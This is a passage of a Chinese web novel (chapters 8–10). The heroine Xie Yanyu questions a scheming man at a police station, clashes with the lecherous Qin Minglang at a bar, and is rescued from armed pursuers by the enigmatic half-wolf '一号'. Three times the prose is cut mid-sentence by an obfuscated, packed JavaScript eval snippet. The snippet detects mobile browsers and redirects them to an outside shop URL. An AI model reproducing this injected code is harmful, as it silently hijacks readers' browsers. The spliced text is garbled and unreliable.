谢烟雨难得怔愣,她看了眼花,又去看眼前的男人,“你叫我过来,是为了给我送花?” “是啊。”他又把花往前递了递,声音雀跃,“我看你朋友收到花很开心,我想让你开心。” 一号认真地看着她,神色不似作伪,他似乎真的就是这么想的。 “只是送我一束花?”谢烟雨确认般问道,她不明白,两人算起来也只见过几次面而已。 她仔仔细细地看着一号,想要从他的表情里得出答案。 一号重重点头,谢烟雨没有动作,刚刚消散得只剩下薄薄一层的防备心又筑起高墙。 没有人会无缘无故对另一个人好,何况她和这个人只见过两次,她在猜测一号这么做的目的。 见她没有伸手的打算,一号眼里的笑意少了几分,往前递花的动作停住,语气夹杂着些许失落,“你还要我的花吗?” 鼻尖的气味被花香取代,谢烟雨还没搞清楚眼下的情况,被他略带委屈的眼神一看,忍不住扣了扣手心,好一会才接过花束,“谢谢。” “不用谢。”花被接过去的瞬间,一号就笑了下,看起来很开心,语气也雀跃了几分,“我先回去工作了。” “……好。” 谢烟雨抱着花,跟在他身后准备下楼。 怀里的花束包裹漂亮,白色山茶花里夹杂着别的小型花束和叶子,不像是自己包装的,更像是在花店买的。 所以……他是知道自己会来这里特地买的? 谢烟雨脑子里把知道自己今天行程的人都想了一遍,试图找出蛛丝马迹。 眼看就要到楼下了,她还是没想出来缘由,就不再想,而是伸手拉住前边的一号。 一号脚步一停,转头看她,“怎么了?” “你的伤好了?”谢烟雨的眼神往他腰腹瞟,昨天看见好像是伤在这,这么快就好了,应该是有什么秘药吧。 一号瞅了眼她拉自己衣角的手,脸色微红,没怎么听清她的话,只感觉她的视线在自己上身流连,下意识挺了挺胸膛。 流畅的肌肉线条在白色衬衫下若隐若现,瞬间引起谢烟雨的注意,她扫了一眼,垂眸掩盖自己眼底的羡慕。 一号有些遗憾她不再看自己,又不好意思说,只能回想她刚刚的问题,“好的差不多了,我的伤都好的特别快!” 8. 期限 谢烟雨抱着花从咖啡厅出来,对快步跟上她的两个彪形大汉道:“去警察局。” 李叔已经做完笔录,给她发了消息。 鉴于肖海父亲并未对任何人造成实际性伤害,最后的结果是被拘留三个月。 谢烟雨对此并不意外,或者说,在看见肖海父亲明目张胆地来找她的那一刻就猜到了这个结果。 他若是心存恨意,完全可以采用别的方式,甚至和她鱼死网破。 她今天出门没有带人,如果肖海父亲暗下杀手,她绝对逃不了。 但肖海父亲没有,他采用了一种更加迂回的方式对付她。 她昨天才警告完他,谢林臣也出手了,第二天他就敢跑过来逼着她承认自己心狠手辣,要说这背后没有别人的手笔她都不信。 肖海父亲或许只是想对付她,但背后之人却意在谢家。 秦宥失踪,谢家受到了一定的冲击,所以谢父才会急急忙忙地让谢烟雨与秦明朗见面。 若是方才谢烟雨在咖啡厅里自乱阵脚,那些视频流传出去,不仅她会被贴上无视法律的标签,谢家也会受到牵连。 到时候,和秦家的联姻能不能保住另说,二皇子可能会直接舍弃谢家。 要是以前,谢烟雨肯定无所谓谢家能不能在皇位斗争中存活,但现在不一样,她需要保住秦宥未婚妻的名头,这关系着她的生死存亡。 谢烟雨垂着眸,手指有一下没一下地扣着手心。她要去会会肖海父亲,最好能知道他背后的人是谁。 警察局离咖啡厅不远,十五分钟就到了。 李叔已经和工作人员打好了招呼,谢烟雨一进去就被人带到了关肖海父亲的地方。 谢烟雨到时,肖海父亲正坐在角落,面容平静,丝毫看不出方才在咖啡厅时略带癫狂的模样。 听见外边传来的脚步声,他下意识地抬起头,看见是谢烟雨后眯了眯眼,“你来干什么?” 谢烟雨往后看了眼,拖过一把椅子放在门口坐下,好整以暇地看他,“我不能来?还是说,你害怕我从你嘴里知道点什么?” 肖海父亲扯了扯嘴角,挪开目光,并没有说话。 谢烟雨也不需要他说话,点开光脑,一目十行地看完谢林臣发过来的消息,看到某一处时挑起眉头,轻啧了一声,“我记得肖海今年五岁?” 她抬起头,看向肖海父亲,“你却有个比他大一岁的私生子?” 肖海父亲垂落身侧的手动了动,没有说话,仿佛什么都没听见一般。 “你入赘肖家,靠着肖海母亲才走到现在这个位置,却忘恩负义,背着她偷偷有了私生子。” 谢烟雨双手抱臂,目光戏谑,语气疑惑,慢悠悠地道,“你说,肖海母亲知道你背叛她后,她会怎么做?” 男人身体微颤,终于抬眸看她,“你想做什么?” “告诉我,谁让你来找我的?”谢烟雨放下手,身子往前倾,盯住他问。 “没有谁。”男人语气讥讽,“看来谢小姐树敌颇多,除了我,还有别人一直盯着你呢。” 谢烟雨直起身子,无所谓地道:“我是秦宥的未婚妻,盯着我的人多了去了。” 男人看似没什么表情,却在听见秦宥二字后挪了挪目光,谢烟雨唇角微掀,“看来我问不出来什么了,还是让肖夫人过来问问你吧。” 谢烟雨看了眼门口,一直等着的李叔立马带着人上前。 没想到真的能看见肖夫人,男人明显愣住了,站起身往前走了两步,张嘴刚想说话,满脸怒气的肖夫人等门一开,冲进去给了他两个大耳刮子。 “你干什么!”男人钳制住肖夫人的手,瞥了眼一旁看戏的谢烟雨,压低声音道,“谁带你来的?” 肖夫人咬着牙,把手里的一沓照片扔到他脸上,“你别管谁带我来的,我问你,这个是不是你在外边养的女人!” 照片如雪花般落下,其中一张飘到谢烟雨脚下,她垂头看了一眼。 照片上面,男人搂着一个年轻漂亮的女人,神色轻松,脸上带笑,女人依偎在他怀里,左手拿着水果正欲喂给他吃,两人行为亲近,透着一股外人无法插足的甜蜜。 谢烟雨讽刺地挪开视线,听见男人慌乱地解释道:“这都是假的!” “假的?”肖夫人双眼含泪,将紧紧攥着的亲子鉴定拍到他身上,“那这个呢?这个也是假的?!” “我......”男人辩无可辩,干脆转移话题,“我只喜欢你,对她是玩玩而已。” 他软着声音道:“你是知道的,我每次休假必定回家,心都是挂在你身上的。” 他伸手去搂肖夫人,脸上的表情无懈可击,眼底却有一闪而过的不耐烦。 他进了警局,第三军团的徽章更不可能拿回来,现在只能紧紧扒着对他死心塌地的肖夫人,希望她能让肖家救自己出去。 他若是解释还好,偏偏避重就轻,肖夫人心里明白他这是变相承认了一切,痛苦地闭上眼睛。 泪水顺着脸颊划下花了她的精致妆容,再睁眼时,她眼底多了几分冷漠。 她推开男人的手,转身对谢烟雨道:“他昨天晚上出去见了一个男人,是谁我不知道,但我可以帮你查。” “所以?”谢烟雨给她递了张纸巾,后者愣了一下,没有接,“谢先生拦截了很多属于肖家的生意。” 谢烟雨收回手,随意应了一声,“生意上的事我不懂,我哥怎么做自然有他自己的道理。” 一个连名字都没有的男人就想让她帮肖家向谢林臣求情? 而且,被抢生意的是他们,又不是谢林臣。 谢烟雨看了眼李叔,后者上前拦住还想说话的肖夫人,“时间到了,您该离开了。” 肖夫人深吸了一口气,深深地看了眼谢烟雨后转身离开。 男人见她看都不看自己,心道不好,伸手要去拉她。 李叔见状看了眼谢烟雨,见她没什么反应便侧开身子。 男人顺利地拉住肖夫人的手,“你......” 他话还没说完,就被肖夫人甩了一巴掌,“脏东西,别碰我!” 啪一声脆响,肖夫人下了死力气,男人的脸很快肿了起来。 谢烟雨眉梢微挑,看见肖夫人暗暗扫过来的余光,哪里不明白这耳光是打给自己看的。 谢烟雨在椅子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714746|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上坐下,垂头拨弄自己的手指,语气听不出情绪,“肖家要想平安,总得有人牺牲吧?” “我明白了,多谢。”肖夫人暗暗松了口气,知道她这是松口了。 她迈步离开时,男人喊了她一声,她身形微顿,却没有回头。 男人见她不回头,脸上的痛苦瞬间变成恼怒,脸色几经变化,也不知道想到了什么,走回角落坐着。 谢烟雨站起身,没有看他,对李叔说:“回去吧。” 以为她会一直劝自己的男人抬了下头,只看见谢烟雨离开的背影,他紧紧地攥着拳头,死死地盯着她。 可直到门被关上,谢烟雨也没有回头。 出了警察局,谢烟雨松懈几分,眉眼流露出些许疲惫。 李叔跟她一块上车,“小姐,肖先生那边已经安排好了。” “嗯。”谢烟雨抬手揉了揉鼻梁。 肖海父亲出事的时候顾着自己,听幕后之人的话来拦她时,压根就没想过肖家会怎么样,他只知道成功了能拿到好处。 他只爱自己。谢烟雨就让他知道,能帮他的都放弃他了,再让他在里面吃点苦头,等他支撑几天,发现幕后之人许诺的好处根本拿不到时,自然会开口。 谢烟雨给谢林臣发消息,告诉他自己这边的打算,让他先别对肖家下死手。 许是因为后续没处理好连累了谢烟雨有些不好意思,他这次转账比上次多了两倍。 谢烟雨收了,并催促他赶紧找到自己想要的人。 退出两人的对话,谢烟雨准备关掉光脑时,发现有人发来了好友申请,她点开一看:秦明朗。 本来就不太愉悦的心情雪上加霜,她眼不见心不烦地关掉光脑,烦躁地侧了下头。 邻座的白色山茶花束清新漂亮,散发着若有若无的香气。 谢烟雨动作一顿,半晌伸手将花束抱进怀里,山茶花的香气瞬间将她包围。 她阖上眼,任由自己染上花香。 虽然一号目的可能不单纯,但这是谢烟雨收到的第一束花。 很漂亮,她……还挺喜欢的。 就在她闻着花香快要睡过去时,一直没出声的690突然出现,“宿主。” 谢烟雨睁开眼,悬浮车的半空中漂浮着一颗球形金属,很显眼,但一旁的李叔却毫无察觉。 只有自己能看见,谢烟雨心想,还挺有保密性的。 690不希望别人知道它的存在一样,谢烟雨也不希望别人知道自己有690。 她尝试用心里话和690交谈,“找我什么事?” “宿主,任务是有期限的,三个月内不能完成将被判定失败。” 谢烟雨的两个任务里,谢骁的好感已经飙到了30%,有关秦宥的任务停滞不前,仍是0%。 “知道了。” 谢烟雨应完,690留下一句祝宿主早日完成任务就消失在空中。 690的到来让谢烟雨方才的睡意消失得一干二净。她皱着眉点开秦明朗的好友申请,摁下同意。 陆安然那边不知道什么时候能有消息,又联系不上苏铭,要想得到秦宥的消息,只能试一试秦家了。 9. 夜色 秦明朗约谢烟雨在“夜色”见面,那是一家很出名的酒吧。 晚上七点,谢烟雨带着两名保镖走进夜色酒吧,来到秦明朗说的包间。 她推门要进去,看清里头的情况立马退了出来。 包间灯光昏暗,烟雾缭绕,分不清是烘托氛围用的干冰还是他们吐出来的烟息。 吵吵嚷嚷的宛如菜市场的声音炸得谢烟雨脑子发胀,浓重的酒味夹杂着烟味扑面而来,熏得她差点吐出来。 里面人很多,谢烟雨连人都没看清,直接砰地关上门,黑着脸来到栏杆附近,深呼吸几次缓解胸口的闷疼。 手腕上的光脑震动,她点开看了眼,是秦明朗发过来的消息:【进来】 连个标点符号也无,谢烟雨却硬生生看出了命令的语气。 她扯了扯嘴角,指尖重重地点在光脑上,【滚!】 脑子里不期然想起二皇子生辰宴上遇到的那堆男人说的话——“秦明朗那小子玩得开,等他把人拿下,就让他把人带出来看看,说不定,还能......” 结合刚刚一闪而过的景象,谢烟雨胃部剧烈翻涌,身形颤抖,止不住地想干呕,眼眶被刺激得通红。 “小姐!”保镖担忧上前,掏出手帕递给她,伸手扶住她虚软无力的身体。 谢烟雨抓着他的手,用手帕擦了擦嘴,皱着眉,闭了闭眼,“回去。” 她脸色苍白,看起来随时会倒下,保镖连忙应好,扶着她下楼。 还没走两步,一股浓烈到酸臭的酒味从身后传来,“谢烟雨,我还没让你走,你走什么……” 秦明朗说着冲上来要去拉谢烟雨,随着他的靠近,夹杂着烟味和说不清味道的酒味愈发浓烈,谢烟雨刚压下去的恶心感卷席重来。 她眉头紧皱,拉了下保镖的衣角,后者收到命令,抬腿踹飞秦明朗。 醉醺醺的秦明朗无法招架这一脚,直接飞出去砸在半开的包间门上,摔在地上时把门也带开了。 里面的声音静了一瞬,大家转头看到秦明朗狼狈起身的模样都愣了一下。 自觉失了面子的秦明朗脸红脖子粗,瞪了眼看热闹的众人,把门摔得震天响,气势汹汹地转身,“谢烟雨!” 他要说的话在看清谢烟雨的那一刻卡住,眼底的怒火悄然褪去,惊艳在脸上一闪而过。 秦明朗的酒醒了两分。他撩了把头发,露出一个自认十分帅气的笑容,“你是谢烟雨?长得挺不错的。” 接着他下巴微抬,倨傲地道:“念在我们第一次见面的份上,我就不生气了,现在过来,跟我进去。” 谢烟雨没动,他想了想,伸出手,做了个不伦不类的邀请礼,等谢烟雨把手放上来。 谢烟雨用手帕捂着口鼻,不着痕迹地后退一步,“秦明朗,我是你表哥的未婚妻。” 秦明朗抬起头,脸上的笑容收了回去,“什么意思?” 谢家和秦家商量换联姻对象的事虽然没有明说,但明眼人都能看出来,更何况是主角之一的谢烟雨。 她原本是秦宥的未婚妻,秦明朗心里膈应,特地弄了这么一出就是为了给她下马威。 没想到人转身就走,看在她长得不错的份上自己不跟她计较,但不代表她可以得寸进尺! 秦明朗眯着眼打量谢烟雨,“我不喜欢心里装着别人的女人,你要跟我结婚,就最好给我忘了秦宥,别让我再从你嘴里听到他的名字!” 他提起秦宥的语气仿佛是在说什么脏东西,对谢烟雨的态度肉眼可见的冷了下来。 “现在,过来,别让我说第二遍。”他不悦地道,像是在教训不听话的小猫小狗。 这桩婚事是谢家求来的,他父亲说了,对谢烟雨可以不用那么客气。 这也是秦明朗应下这么婚事的原因之一,对付不听话的女人,他有的是办法。 像谢烟雨这样的病弱冷美人,就该学会怎么跪在地上向他求饶。 想到谢烟雨清冷的眉眼染上媚意,神志不清地求他的场景,秦明朗蠢蠢欲动。 他臆想时光明正大地打量着谢烟雨,仿佛是在思量要从哪里下手,视线浓稠恶心。 谢烟雨忍得手心都快扣烂了,看见他眼底的欲.念后终于忍不住了,她朝保镖看了一眼。 保镖颔首,上前拉起秦明朗的手就是一个过肩摔。 他没有惜力,仿佛不知疲倦一般,抓着痛得还没反应过来的秦明朗一顿揍。 听他杀猪一般嗷嗷叫,谢烟雨紧蹙的眉头终于松懈了几分。 秦明朗没想到她居然敢叫别人打他,脸上惊怒交加。 他常年流连声色场所,早已被酒色掏空身体,保镖一只手就能将他揍得死去活来。 秦明朗痛得要命,却怎么也挣扎不脱,只能看向一旁的谢烟雨,从放狠话到求饶,不过十分钟的时间。 谢烟雨不为所动,他满脸屈辱,恼羞成怒地吼道:“谢烟雨!我可是秦家的人!你要是打死我,秦谢两家都不会放过你的!” 谢烟雨:“好了。” 保镖立刻放开秦明朗,退至她身后。 秦明朗眼睛一亮,以为她是怕了,顿时神色得意,“哼!” 他撑着剧痛的身子从地上起来,认为自己找到了谢烟雨的死穴,龇牙咧嘴地冲她喊道:“算你识相!还不快过来扶我起来!” 谢烟雨冷眼看他,保镖下手很有分寸,专挑不留痕迹又很痛的地方打,秦明朗被他揍了这么久,痛得爬都爬不起来,身上却一点痕迹也没有。 见她一直不理自己,秦明朗抬起头瞪她,“你......” 谢烟雨身侧的保镖上前一步,举起自己沙包大的拳头晃了晃。 身上还没消下去的疼痛更加痛了,秦明朗瞬间闭嘴。 今天带保镖出门真是一个不错的决定。谢烟雨心情明媚几分,上前两步打量狼狈地靠在墙壁上的秦明朗,“秦宥出事,秦家找过他吗?” “关你屁......”秦明朗话还没说完,就和正举着拳头转手腕的保镖对视上,他默默地收回没说完的话,往后挪了挪,没好气地道,“他死在外边最好,谁爱去找谁找!” 谢烟雨对秦宥了解不多,对他和秦家的事知之甚少,见秦明朗这么说眯了眯眼,“秦家的荣耀全部来源于他,你们居然希望他死了?” 秦明朗撑起身子呸了一口,“我呸!他就是根搅屎棍!扫把星!要不是他,我能混得这么惨!” 谢烟雨正要问,楼底下突然爆发出剧烈欢呼,紧接着一群人涌上二楼。 他们满脸兴奋,嘴里嘀咕着什么聚会,急急忙忙地往前跑去。 混乱中,还没起身的秦明朗被踩了几脚,嗷得跟快死了一样。 密集的人群把空气搅浑,谢烟雨脑子轰鸣,呼吸一滞,心口泛起密密麻麻的疼意。 她捂着胸口,艰难地呼吸着,抬头一看两名保镖正逆着人流往她这边挤,而她已经被挤到栏杆附近。 “小姐!小姐!” 两位保镖人高马大,夹在人群中也异常显眼,谢烟雨看见他们,心里稍安。 她挪动脚步,想要靠近努力往这边挤的保镖,却被一个过于兴奋的路人打到,身体一晃,腰部撞上栏杆。 谢烟雨好不容易稳住身形,又被不知道谁踩了一脚,痛得脸色发白,紧接着她身体一轻,再回神整个人悬在了半空。 “小姐!”保镖惊呼一声,加快速度往她这边赶。 不知何时站起身的秦明朗满身狼狈,侧头看见后瞳孔一震,缩着身子藏进人群中溜之大吉。 前边是密密麻麻的人群,后边是空荡荡的底楼。谢烟雨还没来得及反应,就被人群推了一把,撑不住地往后倒。 两名保镖双目睁大:“小姐!!” 楼底下,隐藏在黑暗中快速离开的一号感受到了什么,回头看了眼。 从二楼摔下来的那抹身影分外熟悉,让他呼吸一滞,脚比脑子先行,等他想要过去救人的时候已经把人抱在了怀中。 他手上一个用力,将自己和谢烟雨调转位置,垫在她身下当缓冲。 两人撞到桌子砸在地上,发出一阵丁零当啷的声响。 一号将人扶起来,正要说话,余光瞥见有人一边靠近一边扔暗器,心中一紧,下意识搂住谢烟雨闪身躲过,紧接着抱起人冲出夜色酒吧。 身后之人追出去一看,他们早已融于漆黑的夜幕之下,不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714747|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道往哪边去了。 他们对视一眼,分成两队往不同的方向追去。 终于从人群中脱身的保镖也跑到了门口,扫了一圈周围后,两人一边选了个方向找,一边用光脑联系李叔。 而被一号抱着的谢烟雨忍不住动了动脑袋,她被一号摁进怀里,脸正怼着他的胸膛,不自在之余有些呼吸不畅。 一号以为她是害怕,连忙伸手轻扶住她的脑袋,低声安抚,“别怕,是我。” 谢烟雨被他扶起来的时候看见了他的脸,自然知道是他。 “我......呼吸......不过来......” 她闷在他怀里,声音沉得发轻,被呼呼的风一吹后撞得七零八落,一号压根没听见她说的什么,但是看出她有些不自在,扶着她脑袋的手的力道松了大半。 谢烟雨本就被挤得难受,现在又被闷了一会,不仅被刺激得眼眶含泪,还小脸通红。 感受到他松了手,谢烟雨连忙从他怀里探出头,呼吸了几口裹挟着风的空气。 一号本来担心她会挣扎,但见她只是吸了几口气后就待在自己怀里不动,心中略安,抱着她安心跑路。 夜晚凉风习习。 一号迎着风飞速前进,几个跳跃间将一幢幢高楼摔在身后,快得不像是人,更像是极速奔跑的野兽。 他抱着的谢烟雨吹了会风后又把脑袋扎进他怀里,一张嘴风就灌进来,她根本无法说话。 一号穿过小巷,在一片低矮的房屋里七拐八拐,最后停在一间刷着红白颜料的屋子前。 他单手掏出钥匙开锁,进去后把谢烟雨放在沙发上,见她眉头微蹙,不是很舒服,又转身去到了杯温水放在她面前。 谢烟雨拿起来握在手里,被冷风吹太久,她的思想似乎都被吹凝固了。 她缓慢地扫过眼前的屋子,是一间很小的一室一厅一厨一卫。 她垂下眸,握着温热的水杯坐了好一会才缓过来,抬眸看向一旁的一号。 一号背对着她坐在地上,面前摆着绷带和止血药,正低头咬着衣服处理伤口。 谢烟雨看不见他的伤口,但能闻到空气中弥漫的浓重血腥味,胃里剧烈翻涌,压了一晚上的恶心再也压不住了,她倏地起身。 一号回头看过去,却只看见她跑着进去厕所的背影。 谢烟雨双手撑在洗手台上,弓着背,断断续续地吐着。黄白呕吐物大半进了洗手盆被水冲走,只剩下一些溅到平台上的散发着酸臭味。 谢烟雨几乎将胃里的东西都吐了出来,一股火烧火燎的感觉从胃里冒出,直击喉咙。 她喘了口气缓了会,转身想去找杯水漱口,一只手从旁边伸出来,刚被她放下的温水出现在眼前。 谢烟雨接过,低声说了句谢谢。 等她漱完口,一号把抬手要清理洗手台的她拉住,语气里带着担忧,“你去歇会,我来收拾。” 谢烟雨没动,“我自己来。” “没事。”一号缓声道,将试图擦拭台面的谢烟雨拉住,“我来。” 谢烟雨抿了抿唇,小而窄的卫生间里空气不流畅,酸臭味久久不散,她自己都有些受不住,何况别人。 因为呕吐被刺激得发红的眼尾更加红了,甚至蔓延到了脸上,她扣着手心,一下比一下急躁。 一号仿佛什么都闻不到,将人拉开后上前,垂眸认真清理台面。 他换了身衣裳,伤口似乎也处理好了,身上虽然还有血腥味,但是不浓,在可以忍受的范围内。 不知道出于什么心态,谢烟雨没有离开,而是站在旁边看他处理自己吐的东西。 洗手间的灯光昏暗,洒在他身上多了几分温柔。 细密的水声中,谢烟雨不知不觉走了神。 初见时太过仓促,阳台那晚俱是迟疑,咖啡厅那天全是花香,她似乎没有认真看过这人的眉眼,现下仔细一看,长得比她那未婚夫还要俊上几分。 一号冷硬的眉眼带着认真,手下动作不停,却微微侧眸,“你先出去休息。” 冰冷血腥的红色眼眸转过来时,似乎染上了暖意。 谢烟雨扣手心的动作一顿,几不可察地点头,“嗯。” 10. 别怕 谢烟雨应完并未走远,拿着杯子出了厕所站在门口,靠在阳台上。 这是一个见不到任何光线的阳台,正对面是一栋高高的大楼,遮挡住了所有阳光和能透进来的光芒。 不过还是有风穿过狭小的缝隙给这间小屋带来几分清凉。 鼻尖除了微风的气息再没有别的刺激气味,谢烟雨脸色开始回暖。 她手指搭在平面上,侧头去看一号。 一号动作轻巧熟练,把洗手台擦了一遍后抬手把镜子也擦了擦,最后洗干净帕子晾在一旁,随意洗了个手准备出来。 抬眼看见谢烟雨后身形微顿,转身弄了点沐浴露把手重新冲洗一遍,洗完放在鼻下闻了闻,确认没有味道才出来。 他把刚刚那杯水倒掉,洗干净杯子,给谢烟雨重新倒了杯温水。 谢烟雨接过端起准备喝时顿了一下,杯子被他握过,沾染上沐浴露的香气,萦绕在鼻尖有着说不上来的暖意。 她垂眸,喝了两口,感觉好了许多。 “晚点我再送你回去好不好?”一号比谢烟雨高半个头,看她时眉眼微垂,在灯光下泄出几分温柔。 谢烟雨想起那些玩命追在后边的黑衣人,点了点头。 一号眼睛微亮,伸手拿过她喝完的水杯,“这边风大,进屋子吧?” 谢烟雨没有第一时间回答,一号以为她默认了,转身先走,衣角却被拉了拉。 他回头,谢烟雨正抬眸看他,“你今晚去那里干什么?” 一号从初见到目前为止都没有对她表现出恶意,甚至有些......照顾。 谢烟雨搞不清楚他接近自己的目的,原先想慢慢调查,今晚却因为各种变故多了几分烦躁,说话比往日直接。 一号下意识攥紧杯子,眼神闪躲了一瞬,“我......” 在谢烟雨的注视下,他渐渐垂下了头,声音有些低,“对不起,我不能告诉你。” 他攥着杯子的指尖泛起白,杯子里面没喝完的水抖了抖,溅出几滴。 温热的水在晚风的吹拂下早已凉透,滴落在手上显得冰凉,驱走几分燥意。 谢烟雨一直没有说话,一号的心情渐渐转凉。 他掀起眼皮子偷偷瞧了一眼,谢烟雨垂着眸,拭擦手上的水珠,看不出情绪。 一号神色慌乱起来,却又不知道如何解释,张嘴几次后,颓然地闭了嘴。 他攥杯子的力气大了几分,眉间蹙起,嘴巴紧紧地抿着。 谢烟雨的目光从他指尖滑落,又抬头看向他的脸,“那些追你的人是谁?” 一号倏地抬眸,张嘴要说什么,又带了几分迟疑,“我不知道。” 谢烟雨眉梢动了动,还没说话,就听见他低声小心翼翼地问:“你......是不是生气了?” “没有。” 谢烟雨神色有些古怪。 每一个人都会有自己的秘密,他不愿意说也是意料之中,只是,问她生不生气着实出乎她的意料。 谢烟雨心里有些奇怪的感觉,她说不清楚是什么,抬眼看向想要凑近看她神色的一号,“最后一个问题。” “好。”一号站直,大概是觉得她没有生气,语气活泼了些。 谢烟雨:“你叫什么?” 一号沉默下来,咬了咬唇,“如果我不告诉你,你会生气吗?” 谢烟雨看了他一眼,“......嗯。” 一号哦了一声,小声说了什么。 谢烟雨诧异地看过去,“你说你叫什么?” “一号。”大概是怕谢烟雨不相信,他急急忙忙地解释,“我听别人是这么喊我的。” 要不是一号看着她的表情都快急哭了,谢烟雨还真以为他在诓自己。 一号......比起说是名字,听起来更像是实验体的代称。 谢烟雨有些恍然,怪不得那天晚上他不愿意告诉谢骁名字,原来是觉得这个名字不太好听。 一号见她不说话,有些委屈地道:“我本来想改个名字,但是怕改了名字后别人不认识我,所以一直没改,你......是不是觉得不好听?” “没有。”谢烟雨收敛自己的所有表情,道,“名字,一个代称而已。” 她说完,又觉得不对,回忆刚刚一号说的话,觉得有些奇怪,什么叫怕改了名字后别人不认识我? 她正要问,手腕上的光脑突然拼命震动,一号见状,转身回了客厅。 谢烟雨看了一眼,慢半拍点开光脑,一个接一个通讯弹出来,她一一划过,有李叔的、谢骁的,甚至还有谢林臣的。 她先回了李叔,安抚完谢骁,才点开谢林臣的消息,想了会,打下一行,【我没事,不用担心。】 回完消息,谢烟雨又站了会准备进客厅,刚走一步,就见原本坐在沙发上的一号站了起来,目光警惕地看向她身后。 谢烟雨对上他的视线,下意识侧身一闪,躲进厕所。 一把泛着银光的匕首穿过狭小的缝隙,破开窗纱,冲进客厅,钉在墙壁上。 刀身嵌入三分之二,可见那人用力之狠。 一号扯下厚重的窗帘往上一抛,窗帘稳稳地挂在晾衣杆上,垂落遮住外来所有视线。 趁此空隙,他拉过谢烟雨护在身前来到客厅。 门外传来极轻的脚步声,阳台那边安静下来,似乎所有人都在默不作声地包围过来。 谢烟雨抓住一号腰侧的衣服,后者顺势搂住她抱起来,垂眸看了她一眼,语气抱歉,“我们得跑了。” 谢烟雨点了点头,看向门外,眉头微蹙。 没想到他们居然能追上来,一号目光沉沉,抱紧身前的谢烟雨,推开窗户跳了下去。 就在他们跳下去的那一刻,有人破门而入。 为首的黑衣人四处一扫,看见大开的窗户后迅速上前,掏出一瓶药剂往下对准正在下落的两人撒。 一号头也没抬,却伸手搭住路过的栏杆用力一撑翻了上去,两人堪堪避过。 谢烟雨低头看了眼,那药剂滴在地上,泛起巨量泡沫。 军团新研发的驱赶药剂,含有毒性,这么大的量,足以致死。 正想着,腰上的手一松,回神时她被一号放在阳台上,紧接着一号跳进来再次搂住她,单手攀住旁边的水管跳上去。 跳跃时不小心踹翻阳台上的花瓶,惊醒屋内主人。 一号灵活地攀走在半空中,迎面而来的晚风和自身的重力让谢烟雨眼前发晕,她咬着唇,不敢往下看,就去看刚刚待过的阳台。 阳台的主人穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13714748|144720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睡衣出来,见自己的花瓶摔落四周无人,还以为是风吹的,骂骂咧咧几声转身回了屋。 谢烟雨看见他进去后没一会,一个黑衣人跳上阳台,盯着他们的方向追了过来。 一号速度很快,那人应该追不上。 谢烟雨放下心,视线向上,清冷的月光下,泛冰冷的寒光的东西破开黑夜,直直地冲向他们。 看清那是什么后,谢烟雨心中一惊,手下用力抓紧一号的衣服,急声道:“能量炮!他们用了能量炮!” 能量炮是军团新研发出来的武器,用于对付异种,一炮下去能将范围之内的东西炸成灰尘。 一号的速度很快,刮在脸上的风很大,谢烟雨提高了音量喊,声音也被风吹得散乱。 她怕一号没听见,也怕身后的能量炮将她一块炸死,正要再喊一次,腰侧的手一紧。 一号将她牢牢摁在怀中,呼呼风声中夹杂着他低沉的嗓音,“别怕。” 他提了速度,尽力拉开两人与能量炮的距离。 可人的速度怎么能与炮比,能量炮愈发逼近,就是缩在一号怀里的谢烟雨,也能感受到那种急剧增加的热量愈发靠近。 一号目标明确,带着她往前方烂尾楼赶。 谢烟雨侧头扫了眼他的目的地,知道他是想不波及周围居民,但看着越来越近的能量炮,手还是有些抖,险些抓不稳一号。 一号稳住她的身形,低了低头,紧接着,谢烟雨感觉有什么东西环上了自己的腰,毛绒绒的触感。 她下意识低头,发现腰间多了条毛茸茸的灰色尾巴,正牢牢地圈着她。 谢烟雨一路看去,这尾巴,竟是一号身上的! 她惊愕地抬头,发现一号的黑短发快速变长,头顶冒出两只狼耳,本就是红色的眼眸拉长,变得更加冰冷。 他喉间溢出一声吼叫,獠牙从唇边探出又被收回去,含糊地说着别怕。 谢烟雨脸上的表情已经不是怕了,她是震惊,甚至震惊到忘了自己的处境。 半人半狼的一号将她摁在怀里,用尾巴固定住她,在能量炮靠近的一瞬身形一转,钻进了旁边漆黑的小巷子里。 转向来的突然又迅急,谢烟雨被甩飞,接着被紧实有力的狼尾重新卷进怀中。 刺眼的白光在身后乍现,一只温热的手捂住她的耳朵,巨大的爆炸声渐歇才缓缓松开,一号搂着她继续向前。 谢烟雨伸手搂住他的脖子,探身靠近他的耳朵,用尽力气喊:“去我家。” 狼耳受惊,抖了好几下,尾巴跟着蜷得更紧,谢烟雨被勒得倒吸一口冷气。 一号连忙松开些许,不等她说什么立刻转了个方向,速度更快地向前。 